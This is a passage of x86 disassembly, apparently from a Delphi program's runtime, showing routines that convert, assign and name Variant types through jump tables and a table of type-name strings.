		jmp	loc_400122CB
; ---------------------------------------------------------------------------


loc_4001203E:				; CODE XREF: sub_40011DFC+32j
					; DATA XREF: sub_40011DFC:off_40011E35o
		lea	edx, [ebp+var_34] ; jumptable 40011E2E cases 9,13
		mov	eax, ebx
		call	sub_40011C18
		mov	edx, [ebp+var_34]
		mov	eax, esi
		call	sub_40005044
		jmp	loc_400122CB
; ---------------------------------------------------------------------------


loc_40012057:				; CODE XREF: sub_40011DFC+2Cj
					; sub_40011DFC+32j
					; DATA XREF: ...
		mov	edx, eax	; default
					; jumptable 40011E2E cases 10,14,15
		sub	dx, 100h
		jz	short loc_40012067
		dec	dx
		jz	short loc_40012076
		jmp	short loc_4001208F
; ---------------------------------------------------------------------------


loc_40012067:				; CODE XREF: sub_40011DFC+262j
		mov	eax, esi
		mov	edx, [ebx+8]
		call	sub_40005158
		jmp	loc_400122CB
; ---------------------------------------------------------------------------


loc_40012076:				; CODE XREF: sub_40011DFC+267j
		lea	edx, [ebp+var_38]
		mov	eax, ebx
		call	sub_40011CD0
		mov	edx, [ebp+var_38]
		mov	eax, esi
		call	sub_40005044
		jmp	loc_400122CB
; ---------------------------------------------------------------------------


loc_4001208F:				; CODE XREF: sub_40011DFC+269j
		test	ah, 40h
		jz	loc_400122A3
		movzx	eax, ax
		and	eax, 0FFFFBFFFh
		cmp	eax, 14h	; switch 21 cases
		ja	loc_4001228D	; default
					; jumptable 400120A9 cases 0,1,9,10,13-15
		jmp	ds:off_400120B0[eax*4] ; switch	jump
; ---------------------------------------------------------------------------
off_400120B0	dd offset loc_4001228D	; DATA XREF: sub_40011DFC+2ADr
		dd offset loc_4001228D	; jump table for switch	statement
		dd offset loc_40012104
		dd offset loc_40012121
		dd offset loc_4001213D
		dd offset loc_40012160
		dd offset loc_40012183
		dd offset loc_400121A2
		dd offset loc_400121C1
		dd offset loc_4001228D
		dd offset loc_4001228D
		dd offset loc_400121D2
		dd offset loc_4001227F
		dd offset loc_4001228D
		dd offset loc_4001228D
		dd offset loc_4001228D
		dd offset loc_400121EF
		dd offset loc_4001220C
		dd offset loc_40012229
		dd offset loc_40012246
		dd offset loc_40012263
; ---------------------------------------------------------------------------


loc_40012104:				; CODE XREF: sub_40011DFC+2ADj
					; DATA XREF: sub_40011DFC:off_400120B0o
		lea	edx, [ebp+var_3C] ; jumptable 400120A9 case 2
		mov	eax, [ebx+8]
		movsx	eax, word ptr [eax]
		call	sub_40007C98
		mov	edx, [ebp+var_3C]
		mov	eax, esi
		call	sub_40005158
		jmp	loc_400122CB
; ---------------------------------------------------------------------------


loc_40012121:				; CODE XREF: sub_40011DFC+2ADj
					; DATA XREF: sub_40011DFC:off_400120B0o
		lea	edx, [ebp+var_40] ; jumptable 400120A9 case 3
		mov	eax, [ebx+8]
		mov	eax, [eax]
		call	sub_40007C98
		mov	edx, [ebp+var_40]
		mov	eax, esi
		call	sub_40005158
		jmp	loc_400122CB
; ---------------------------------------------------------------------------


loc_4001213D:				; CODE XREF: sub_40011DFC+2ADj
					; DATA XREF: sub_40011DFC:off_400120B0o
		mov	eax, [ebx+8]	; jumptable 400120A9 case 4
		fld	dword ptr [eax]
		add	esp, 0FFFFFFF4h
		fstp	[esp+90h+var_90]
		wait
		lea	eax, [ebp+var_44]
		call	sub_40008E14
		mov	edx, [ebp+var_44]
		mov	eax, esi
		call	sub_40005158
		jmp	loc_400122CB
; ---------------------------------------------------------------------------


loc_40012160:				; CODE XREF: sub_40011DFC+2ADj
					; DATA XREF: sub_40011DFC:off_400120B0o
		mov	eax, [ebx+8]	; jumptable 400120A9 case 5
		fld	qword ptr [eax]
		add	esp, 0FFFFFFF4h
		fstp	[esp+90h+var_90]
		wait
		lea	eax, [ebp+var_48]
		call	sub_40008E14
		mov	edx, [ebp+var_48]
		mov	eax, esi
		call	sub_40005158
		jmp	loc_400122CB
; ---------------------------------------------------------------------------


loc_40012183:				; CODE XREF: sub_40011DFC+2ADj
					; DATA XREF: sub_40011DFC:off_400120B0o
		mov	eax, [ebx+8]	; jumptable 400120A9 case 6
		push	dword ptr [eax+4]
		push	dword ptr [eax]
		lea	eax, [ebp+var_4C]
		call	sub_400113EC
		mov	edx, [ebp+var_4C]
		mov	eax, esi
		call	sub_40005044
		jmp	loc_400122CB
; ---------------------------------------------------------------------------


loc_400121A2:				; CODE XREF: sub_40011DFC+2ADj
					; DATA XREF: sub_40011DFC:off_400120B0o
		mov	eax, [ebx+8]	; jumptable 400120A9 case 7
		push	dword ptr [eax+4]
		push	dword ptr [eax]
		lea	eax, [ebp+var_50]
		call	sub_40011424
		mov	edx, [ebp+var_50]
		mov	eax, esi
		call	sub_40005044
		jmp	loc_400122CB
; ---------------------------------------------------------------------------


loc_400121C1:				; CODE XREF: sub_40011DFC+2ADj
					; DATA XREF: sub_40011DFC:off_400120B0o
		mov	eax, esi	; jumptable 400120A9 case 8
		mov	edx, [ebx+8]
		mov	edx, [edx]
		call	sub_4000511C
		jmp	loc_400122CB
; ---------------------------------------------------------------------------


loc_400121D2:				; CODE XREF: sub_40011DFC+2ADj
					; DATA XREF: sub_40011DFC:off_400120B0o
		lea	edx, [ebp+var_54] ; jumptable 400120A9 case 11
		mov	eax, [ebx+8]
		movzx	eax, word ptr [eax]
		call	sub_4001145C
		mov	edx, [ebp+var_54]
		mov	eax, esi
		call	sub_40005044
		jmp	loc_400122CB
; ---------------------------------------------------------------------------


loc_400121EF:				; CODE XREF: sub_40011DFC+2ADj
					; DATA XREF: sub_40011DFC:off_400120B0o
		lea	edx, [ebp+var_58] ; jumptable 400120A9 case 16
		mov	eax, [ebx+8]
		movsx	eax, byte ptr [eax]
		call	sub_40007C98
		mov	edx, [ebp+var_58]
		mov	eax, esi
		call	sub_40005158
		jmp	loc_400122CB
; ---------------------------------------------------------------------------


loc_4001220C:				; CODE XREF: sub_40011DFC+2ADj
					; DATA XREF: sub_40011DFC:off_400120B0o
		lea	edx, [ebp+var_5C] ; jumptable 400120A9 case 17
		mov	eax, [ebx+8]
		movzx	eax, byte ptr [eax]
		call	sub_40007C98
		mov	edx, [ebp+var_5C]
		mov	eax, esi
		call	sub_40005158
		jmp	loc_400122CB
; ---------------------------------------------------------------------------


loc_40012229:				; CODE XREF: sub_40011DFC+2ADj
					; DATA XREF: sub_40011DFC:off_400120B0o
		lea	edx, [ebp+var_60] ; jumptable 400120A9 case 18
		mov	eax, [ebx+8]
		movzx	eax, word ptr [eax]
		call	sub_40007C98
		mov	edx, [ebp+var_60]
		mov	eax, esi
		call	sub_40005158
		jmp	loc_400122CB
; ---------------------------------------------------------------------------


loc_40012246:				; CODE XREF: sub_40011DFC+2ADj
					; DATA XREF: sub_40011DFC:off_400120B0o
		mov	eax, [ebx+8]	; jumptable 400120A9 case 19
		mov	eax, [eax]
		xor	edx, edx
		push	edx
		push	eax
		lea	eax, [ebp+var_64]
		call	sub_40007D84
		mov	edx, [ebp+var_64]
		mov	eax, esi
		call	sub_40005158
		jmp	short loc_400122CB
; ---------------------------------------------------------------------------


loc_40012263:				; CODE XREF: sub_40011DFC+2ADj
					; DATA XREF: sub_40011DFC:off_400120B0o
		mov	eax, [ebx+8]	; jumptable 400120A9 case 20
		push	dword ptr [eax+4]
		push	dword ptr [eax]
		lea	eax, [ebp+var_68]
		call	sub_40007D84
		mov	edx, [ebp+var_68]
		mov	eax, esi
		call	sub_40005158
		jmp	short loc_400122CB
; ---------------------------------------------------------------------------


loc_4001227F:				; CODE XREF: sub_40011DFC+2ADj
					; DATA XREF: sub_40011DFC:off_400120B0o
		mov	eax, [ebx+8]	; jumptable 400120A9 case 12
		mov	edx, eax
		mov	eax, esi
		call	sub_40011DFC
		jmp	short loc_400122CB
; ---------------------------------------------------------------------------


loc_4001228D:				; CODE XREF: sub_40011DFC+2A7j
					; sub_40011DFC+2ADj
					; DATA XREF: ...
		lea	edx, [ebp+var_6C] ; default
					; jumptable 400120A9 cases 0,1,9,10,13-15
		mov	eax, ebx
		call	sub_40011C18
		mov	edx, [ebp+var_6C]
		mov	eax, esi
		call	sub_40005044
		jmp	short loc_400122CB
; ---------------------------------------------------------------------------


loc_400122A3:				; CODE XREF: sub_40011DFC+296j
		mov	eax, esi
		call	sub_40005008
		mov	edx, eax
		mov	eax, ebx
		call	sub_40011D34
		test	al, al
		jnz	short loc_400122CB
		lea	edx, [ebp+var_70]
		mov	eax, ebx
		call	sub_40011C18
		mov	edx, [ebp+var_70]
		mov	eax, esi
		call	sub_40005044


loc_400122CB:				; CODE XREF: sub_40011DFC+94j
					; sub_40011DFC+BCj ...
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40012348


loc_400122D8:				; CODE XREF: sub_40011DFC+54Aj
		lea	eax, [ebp+var_70]
		mov	edx, 2
		call	sub_40005020
		lea	eax, [ebp+var_68]
		mov	edx, 5
		call	sub_400048A8
		lea	eax, [ebp+var_54]
		mov	edx, 3
		call	sub_40005020
		lea	eax, [ebp+var_48]
		mov	edx, 4
		call	sub_400048A8
		lea	eax, [ebp+var_38]
		mov	edx, 2
		call	sub_40005020
		lea	eax, [ebp+var_30]
		mov	edx, 5
		call	sub_400048A8
		lea	eax, [ebp+var_1C]
		mov	edx, 3
		call	sub_40005020
		lea	eax, [ebp+var_10]
		mov	edx, 4
		call	sub_400048A8
		retn
; ---------------------------------------------------------------------------


loc_40012341:				; DATA XREF: sub_40011DFC+18o
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_400122D8
; ---------------------------------------------------------------------------


loc_40012348:				; CODE XREF: sub_40011DFC+544j
					; DATA XREF: sub_40011DFC+4D7o
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_40011DFC	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40012350	proc near		; CODE XREF: sub_400123C8+7Ap

var_10		= word ptr -10h
var_8		= dword	ptr -8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF0h
		push	ebx
		push	esi
		mov	esi, edx
		mov	ebx, eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4000CDD8
		xor	eax, eax
		push	ebp
		push	offset loc_400123BA
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	edx, esi
		lea	eax, [ebp+var_10]
		call	sub_4000E700
		lea	eax, [ebp+var_10]
		call	ds:off_4001F29C
		cmp	[ebp+var_10], 0Dh
		jz	short loc_4001239A
		mov	dx, 0Dh
		mov	ax, 101h
		call	sub_4000DBF4


loc_4001239A:				; CODE XREF: sub_40012350+3Bj
		mov	eax, ebx
		mov	edx, [ebp+var_8]
		call	sub_4000621C
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_400123C1


loc_400123B1:				; CODE XREF: sub_40012350+6Fj
		lea	eax, [ebp+var_10]
		call	sub_4000E3D8
		retn
; ---------------------------------------------------------------------------


loc_400123BA:				; DATA XREF: sub_40012350+18o
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_400123B1
; ---------------------------------------------------------------------------


loc_400123C1:				; CODE XREF: sub_40012350+69j
					; DATA XREF: sub_40012350+5Co
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_40012350	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_400123C8	proc near		; CODE XREF: sub_4000E894+19p

var_C		= dword	ptr -0Ch

		push	ebx
		push	esi
		push	ecx
		mov	ebx, edx
		mov	esi, eax
		movzx	eax, word ptr [ebx]
		cmp	eax, 0Dh
		jg	short loc_400123E7
		jz	short loc_40012424
		sub	eax, 1
		jb	short loc_400123FC
		jz	short loc_40012405
		sub	eax, 8
		jz	short loc_40012424
		jmp	short loc_40012449
; ---------------------------------------------------------------------------


loc_400123E7:				; CODE XREF: sub_400123C8+Dj
		sub	eax, 101h
		jz	short loc_4001243E
		sub	eax, 3F08h
		jz	short loc_40012430
		sub	eax, 4
		jz	short loc_40012430
		jmp	short loc_40012449
; ---------------------------------------------------------------------------


loc_400123FC:				; CODE XREF: sub_400123C8+14j
		mov	eax, esi
		call	sub_40006204
		jmp	short loc_4001247D
; ---------------------------------------------------------------------------


loc_40012405:				; CODE XREF: sub_400123C8+16j
		cmp	byte_4001AA10, 0
		jz	short loc_4001241B
		mov	dx, 0Dh
		mov	ax, 1
		call	sub_4000DBF4


loc_4001241B:				; CODE XREF: sub_400123C8+44j
		mov	eax, esi
		call	sub_40006204
		jmp	short loc_4001247D
; ---------------------------------------------------------------------------


loc_40012424:				; CODE XREF: sub_400123C8+Fj
					; sub_400123C8+1Bj
		mov	eax, esi
		mov	edx, [ebx+8]
		call	sub_4000621C
		jmp	short loc_4001247D
; ---------------------------------------------------------------------------


loc_40012430:				; CODE XREF: sub_400123C8+2Bj
					; sub_400123C8+30j
		mov	eax, esi
		mov	edx, [ebx+8]
		mov	edx, [edx]
		call	sub_4000621C
		jmp	short loc_4001247D
; ---------------------------------------------------------------------------


loc_4001243E:				; CODE XREF: sub_400123C8+24j
		mov	edx, ebx
		mov	eax, esi
		call	sub_40012350
		jmp	short loc_4001247D
; ---------------------------------------------------------------------------


loc_40012449:				; CODE XREF: sub_400123C8+1Dj
					; sub_400123C8+32j
		mov	edx, esp
		movzx	eax, word ptr [ebx]
		call	sub_40012D98
		test	al, al
		jz	short loc_40012471
		mov	eax, esi
		call	sub_40006204
		mov	ecx, eax
		mov	edx, offset dword_40012484
		mov	eax, [esp+0Ch+var_C]
		call	sub_40003D9C
		test	al, al
		jnz	short loc_4001247D


loc_40012471:				; CODE XREF: sub_400123C8+8Dj
		movzx	eax, word ptr [ebx]
		mov	dx, 0Dh
		call	sub_4000DBF4


loc_4001247D:				; CODE XREF: sub_400123C8+3Bj
					; sub_400123C8+5Aj ...
		pop	edx
		pop	esi
		pop	ebx
		retn
sub_400123C8	endp

; ---------------------------------------------------------------------------
		align 4
dword_40012484	dd 2 dup(0)			dd 0C0h, 46000000h

; =============== S U B	R O U T	I N E =======================================



sub_40012494	proc near		; CODE XREF: sub_4000E848+19p

var_C		= dword	ptr -0Ch

		push	ebx
		push	esi
		push	ecx
		mov	ebx, edx
		mov	esi, eax
		movzx	eax, word ptr [ebx]
		sub	ax, 1
		jb	short loc_400124B4
		jz	short loc_400124BD
		sub	ax, 8
		jz	short loc_400124DC
		sub	ax, 4000h
		jz	short loc_400124E8
		jmp	short loc_400124F6
; ---------------------------------------------------------------------------


loc_400124B4:				; CODE XREF: sub_40012494+Ej
		mov	eax, esi
		call	sub_40006204
		jmp	short loc_4001252A
; ---------------------------------------------------------------------------


loc_400124BD:				; CODE XREF: sub_40012494+10j
		cmp	byte_4001AA10, 0
		jz	short loc_400124D3
		mov	dx, 9
		mov	ax, 1
		call	sub_4000DBF4


loc_400124D3:				; CODE XREF: sub_40012494+30j
		mov	eax, esi
		call	sub_40006204
		jmp	short loc_4001252A
; ---------------------------------------------------------------------------


loc_400124DC:				; CODE XREF: sub_40012494+16j
		mov	eax, esi
		mov	edx, [ebx+8]
		call	sub_4000621C
		jmp	short loc_4001252A
; ---------------------------------------------------------------------------


loc_400124E8:				; CODE XREF: sub_40012494+1Cj
		mov	eax, esi
		mov	edx, [ebx+8]
		mov	edx, [edx]
		call	sub_4000621C
		jmp	short loc_4001252A
; ---------------------------------------------------------------------------


loc_400124F6:				; CODE XREF: sub_40012494+1Ej
		mov	edx, esp
		movzx	eax, word ptr [ebx]
		call	sub_40012D98
		test	al, al
		jz	short loc_4001251E
		mov	eax, esi
		call	sub_40006204
		mov	ecx, eax
		mov	edx, offset dword_40012530
		mov	eax, [esp+0Ch+var_C]
		call	sub_40003D9C
		test	al, al
		jnz	short loc_4001252A


loc_4001251E:				; CODE XREF: sub_40012494+6Ej
		movzx	eax, word ptr [ebx]
		mov	dx, 9
		call	sub_4000DBF4


loc_4001252A:				; CODE XREF: sub_40012494+27j
					; sub_40012494+46j ...
		pop	edx
		pop	esi
		pop	ebx
		retn
sub_40012494	endp

; ---------------------------------------------------------------------------
		align 10h
dword_40012530	dd 20400h, 0			dd 0C0h, 46000000h

; =============== S U B	R O U T	I N E =======================================



sub_40012540	proc near		; CODE XREF: sub_4000E9CC+F0p
		push	ebx
		push	esi
		mov	esi, edx
		mov	ebx, eax
		test	word ptr [ebx],	0BFE8h
		jz	short loc_40012554
		mov	eax, ebx
		call	sub_4000E35C


loc_40012554:				; CODE XREF: sub_40012540+Bj
		mov	word ptr [ebx],	3
		mov	[ebx+8], esi
		pop	esi
		pop	ebx
		retn
sub_40012540	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40012560	proc near		; CODE XREF: sub_4000E9CC+1A5p
		push	ebx
		push	esi
		mov	ebx, edx
		mov	esi, eax
		test	word ptr [esi],	0BFE8h
		jz	short loc_40012574
		mov	eax, esi
		call	sub_4000E35C


loc_40012574:				; CODE XREF: sub_40012560+Bj
		mov	word ptr [esi],	11h
		mov	[esi+8], bl
		pop	esi
		pop	ebx
		retn
sub_40012560	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40012580	proc near		; CODE XREF: sub_4000E9CC+1B7p
		push	ebx
		push	esi
		mov	esi, edx
		mov	ebx, eax
		test	word ptr [ebx],	0BFE8h
		jz	short loc_40012594
		mov	eax, ebx
		call	sub_4000E35C


loc_40012594:				; CODE XREF: sub_40012580+Bj
		mov	word ptr [ebx],	12h
		mov	[ebx+8], si
		pop	esi
		pop	ebx
		retn
sub_40012580	endp


; =============== S U B	R O U T	I N E =======================================



sub_400125A0	proc near		; CODE XREF: sub_4000E9CC+1C9p
		push	ebx
		push	esi
		mov	esi, edx
		mov	ebx, eax
		test	word ptr [ebx],	0BFE8h
		jz	short loc_400125B4
		mov	eax, ebx
		call	sub_4000E35C


loc_400125B4:				; CODE XREF: sub_400125A0+Bj
		mov	word ptr [ebx],	13h
		mov	[ebx+8], esi
		pop	esi
		pop	ebx
		retn
sub_400125A0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_400125C0	proc near		; CODE XREF: sub_4000E9CC+190p
		push	ebx
		push	esi
		mov	ebx, edx
		mov	esi, eax
		test	word ptr [esi],	0BFE8h
		jz	short loc_400125D4
		mov	eax, esi
		call	sub_4000E35C


loc_400125D4:				; CODE XREF: sub_400125C0+Bj
		mov	word ptr [esi],	10h
		mov	[esi+8], bl
		pop	esi
		pop	ebx
		retn
sub_400125C0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_400125E0	proc near		; CODE XREF: sub_4000E9CC+DBp
		push	ebx
		push	esi
		mov	esi, edx
		mov	ebx, eax
		test	word ptr [ebx],	0BFE8h
		jz	short loc_400125F4
		mov	eax, ebx
		call	sub_4000E35C


loc_400125F4:				; CODE XREF: sub_400125E0+Bj
		mov	word ptr [ebx],	2
		mov	[ebx+8], si
		pop	esi
		pop	ebx
		retn
sub_400125E0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40012600	proc near		; CODE XREF: sub_4000E9CC+1DBp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, eax
		test	word ptr [ebx],	0BFE8h
		jz	short loc_40012614
		mov	eax, ebx
		call	sub_4000E35C


loc_40012614:				; CODE XREF: sub_40012600+Bj
		mov	word ptr [ebx],	14h
		mov	eax, [ebp+arg_0]
		mov	[ebx+8], eax
		mov	eax, [ebp+arg_4]
		mov	[ebx+0Ch], eax
		pop	ebx
		pop	ebp
		retn	8
sub_40012600	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4001262C	proc near		; CODE XREF: sub_4000E9CC+10Ap

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, eax
		test	word ptr [ebx],	0BFE8h
		jz	short loc_40012640
		mov	eax, ebx
		call	sub_4000E35C


loc_40012640:				; CODE XREF: sub_4001262C+Bj
		mov	eax, [ebp+arg_0]
		mov	[ebx+8], eax
		mov	word ptr [ebx],	4
		pop	ebx
		pop	ebp
		retn	4
sub_4001262C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40012650	proc near		; CODE XREF: sub_4000E9CC+124p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, eax
		test	word ptr [ebx],	0BFE8h
		jz	short loc_40012664
		mov	eax, ebx
		call	sub_4000E35C


loc_40012664:				; CODE XREF: sub_40012650+Bj
		mov	eax, [ebp+arg_0]
		mov	[ebx+8], eax
		mov	eax, [ebp+arg_4]
		mov	[ebx+0Ch], eax
		mov	word ptr [ebx],	5
		pop	ebx
		pop	ebp
		retn	8
sub_40012650	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4001267C	proc near		; CODE XREF: sub_4000E9CC+13Ep

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, eax
		test	word ptr [ebx],	0BFE8h
		jz	short loc_40012690
		mov	eax, ebx
		call	sub_4000E35C


loc_40012690:				; CODE XREF: sub_4001267C+Bj
		mov	eax, [ebp+arg_0]
		mov	[ebx+8], eax
		mov	eax, [ebp+arg_4]
		mov	[ebx+0Ch], eax
		mov	word ptr [ebx],	6
		pop	ebx
		pop	ebp
		retn	8
sub_4001267C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_400126A8	proc near		; CODE XREF: sub_4000E9CC+158p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, eax
		test	word ptr [ebx],	0BFE8h
		jz	short loc_400126BC
		mov	eax, ebx
		call	sub_4000E35C


loc_400126BC:				; CODE XREF: sub_400126A8+Bj
		mov	eax, [ebp+arg_0]
		mov	[ebx+8], eax
		mov	eax, [ebp+arg_4]
		mov	[ebx+0Ch], eax
		mov	word ptr [ebx],	7
		pop	ebx
		pop	ebp
		retn	8
sub_400126A8	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_400126D4	proc near		; CODE XREF: sub_4000E9CC+17Bp
		push	ebx
		push	esi
		mov	ebx, edx
		mov	esi, eax
		test	word ptr [esi],	0BFE8h
		jz	short loc_400126E8
		mov	eax, esi
		call	sub_4000E35C


loc_400126E8:				; CODE XREF: sub_400126D4+Bj
		mov	word ptr [esi],	0Bh
		cmp	bl, 1
		cmc
		sbb	eax, eax
		mov	[esi+8], ax
		pop	esi
		pop	ebx
		retn
sub_400126D4	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_400126FC	proc near		; CODE XREF: sub_4000E7FC+23p
		push	ebx
		push	esi
		mov	esi, edx
		mov	ebx, eax
		test	word ptr [ebx],	0BFE8h
		jz	short loc_40012710
		mov	eax, ebx
		call	sub_4000E35C


loc_40012710:				; CODE XREF: sub_400126FC+Bj
		xor	eax, eax
		mov	[ebx+8], eax
		mov	word ptr [ebx],	100h
		lea	eax, [ebx+8]
		mov	edx, esi
		call	sub_400048D8
		pop	esi
		pop	ebx
		retn
sub_400126FC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40012728	proc near		; CODE XREF: sub_4000E7B0+23p
		push	ebx
		push	esi
		mov	esi, edx
		mov	ebx, eax
		test	word ptr [ebx],	0BFE8h
		jz	short loc_4001273C
		mov	eax, ebx
		call	sub_4000E35C


loc_4001273C:				; CODE XREF: sub_40012728+Bj
		xor	eax, eax
		mov	[ebx+8], eax
		mov	word ptr [ebx],	8
		lea	eax, [ebx+8]
		push	eax
		mov	ecx, 7FFFFFFFh
		mov	edx, 1
		mov	eax, esi
		call	sub_40005174
		pop	esi
		pop	ebx
		retn
sub_40012728	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40012760	proc near		; CODE XREF: sub_4000E894+23p
		push	ebx
		push	esi
		mov	esi, edx
		mov	ebx, eax
		test	word ptr [ebx],	0BFE8h
		jz	short loc_40012774
		mov	eax, ebx
		call	sub_4000E35C


loc_40012774:				; CODE XREF: sub_40012760+Bj
		xor	eax, eax
		mov	[ebx+8], eax
		mov	word ptr [ebx],	0Dh
		lea	eax, [ebx+8]
		mov	edx, esi
		call	sub_4000621C
		pop	esi
		pop	ebx
		retn
sub_40012760	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4001278C	proc near		; CODE XREF: sub_4000E848+23p
		push	ebx
		push	esi
		mov	esi, edx
		mov	ebx, eax
		test	word ptr [ebx],	0BFE8h
		jz	short loc_400127A0
		mov	eax, ebx
		call	sub_4000E35C


loc_400127A0:				; CODE XREF: sub_4001278C+Bj
		xor	eax, eax
		mov	[ebx+8], eax
		mov	word ptr [ebx],	9
		lea	eax, [ebx+8]
		mov	edx, esi
		call	sub_4000621C
		pop	esi
		pop	ebx
		retn
sub_4001278C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_400127B8	proc near		; DATA XREF: sub_40019144+55o
					; .data:off_4001A014o
		cmp	word ptr [eax],	8
		jb	short locret_400127D8
		push	dword ptr [eax+0Ch]
		push	dword ptr [eax+8]
		push	dword ptr [eax+4]
		push	dword ptr [eax]
		mov	word ptr [eax],	0
		mov	edx, esp
		call	sub_4000E700
		add	esp, 10h

locret_400127D8:			; CODE XREF: sub_400127B8+4j
		retn
sub_400127B8	endp

; ---------------------------------------------------------------------------
		align 4
		dd 0FFFFFFFFh, 5
aEmpty		db 'Empty',0            ; DATA XREF: .data:off_4001AA20o
		align 4
dword_400127EC	dd 0FFFFFFFFh, 4, 6C6C754Eh, 0dword_400127FC	dd 0FFFFFFFFh, 8, 6C616D53h, 746E696Ch,	0dword_40012810	dd 0FFFFFFFFh, 7, 65746E49h, 726567h, 0FFFFFFFFh, 6, 676E6953h
					; DATA XREF: .data:4001AA2Co
		dd 656Ch, 0FFFFFFFFh, 6, 62756F44h, 656Ch, 0FFFFFFFFh
		dd 8, 72727543h, 79636E65h, 0
dword_40012854	dd 0FFFFFFFFh, 4, 65746144h, 0dword_40012864	dd 0FFFFFFFFh, 6, 53656C4Fh, 7274h, 0FFFFFFFFh,	8, 70736944h
					; DATA XREF: .data:4001AA40o
		dd 68637461h, 0
dword_40012888	dd 0FFFFFFFFh, 5, 6F727245h, 72h, 0FFFFFFFFh, 7, 6C6F6F42h
					; DATA XREF: .data:4001AA48o
		dd 6E6165h, 0FFFFFFFFh,	7, 69726156h, 746E61h, 0FFFFFFFFh
		dd 7, 6E6B6E55h, 6E776Fh, 0FFFFFFFFh, 7, 69636544h, 6C616Dh
		dd 0FFFFFFFFh, 3, 463024h, 0FFFFFFFFh, 8, 726F6853h, 746E4974h
		dd 0
dword_400128F8	dd 0FFFFFFFFh, 4, 65747942h, 0dword_40012908	dd 0FFFFFFFFh, 4, 64726F57h, 0dword_40012918	dd 0FFFFFFFFh, 8, 676E6F4Ch, 64726F57h,	0dword_4001292C	dd 0FFFFFFFFh, 5, 36746E49h, 34h
; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4001293C	proc near		; CODE XREF: sub_4000DBF4+2Ap
					; sub_4000DBF4+3Ep ...

var_208		= dword	ptr -208h
var_204		= byte ptr -204h
var_104		= byte ptr -104h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFDF8h
		push	ebx
		push	esi
		push	edi
		xor	ecx, ecx
		mov	[ebp+var_208], ecx
		mov	esi, edx
		mov	ebx, eax
		xor	eax, eax
		push	ebp
		push	offset loc_40012A62
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	edi, ebx
		and	di, 0FFFh
		cmp	di, 14h
		ja	short loc_40012985
		mov	eax, esi
		movzx	edx, di
		mov	edx, off_4001AA20[edx*4]
		call	sub_400048D8
		jmp	loc_40012A23
; ---------------------------------------------------------------------------


loc_40012985:				; CODE XREF: sub_4001293C+31j
		cmp	bx, 100h
		jnz	short loc_4001299D
		mov	eax, esi
		mov	edx, offset aString_0 ;	"String"
		call	sub_400048D8
		jmp	loc_40012A23
; ---------------------------------------------------------------------------


loc_4001299D:				; CODE XREF: sub_4001293C+4Ej
		cmp	bx, 101h
		jnz	short loc_400129B2
		mov	eax, esi
		mov	edx, offset dword_40012A88
		call	sub_400048D8
		jmp	short loc_40012A23
; ---------------------------------------------------------------------------


loc_400129B2:				; CODE XREF: sub_4001293C+66j
		lea	edx, [ebp+var_4]
		mov	eax, ebx
		call	sub_40012D98
		test	al, al
		jz	short loc_400129FB
		lea	eax, [ebp+var_104]
		push	eax
		lea	edx, [ebp+var_204]
		mov	eax, [ebp+var_4]
		mov	eax, [eax]
		call	sub_40003C6C
		lea	eax, [ebp+var_204]
		mov	ecx, 7FFFFFFFh
		mov	edx, 2
		call	sub_40002D98
		lea	edx, [ebp+var_104]
		mov	eax, esi
		call	sub_40004AE8
		jmp	short loc_40012A23
; ---------------------------------------------------------------------------


loc_400129FB:				; CODE XREF: sub_4001293C+82j
		lea	ecx, [ebp+var_208]
		movzx	eax, di
		mov	edx, 4
		call	sub_40007DAC
		mov	ecx, [ebp+var_208]
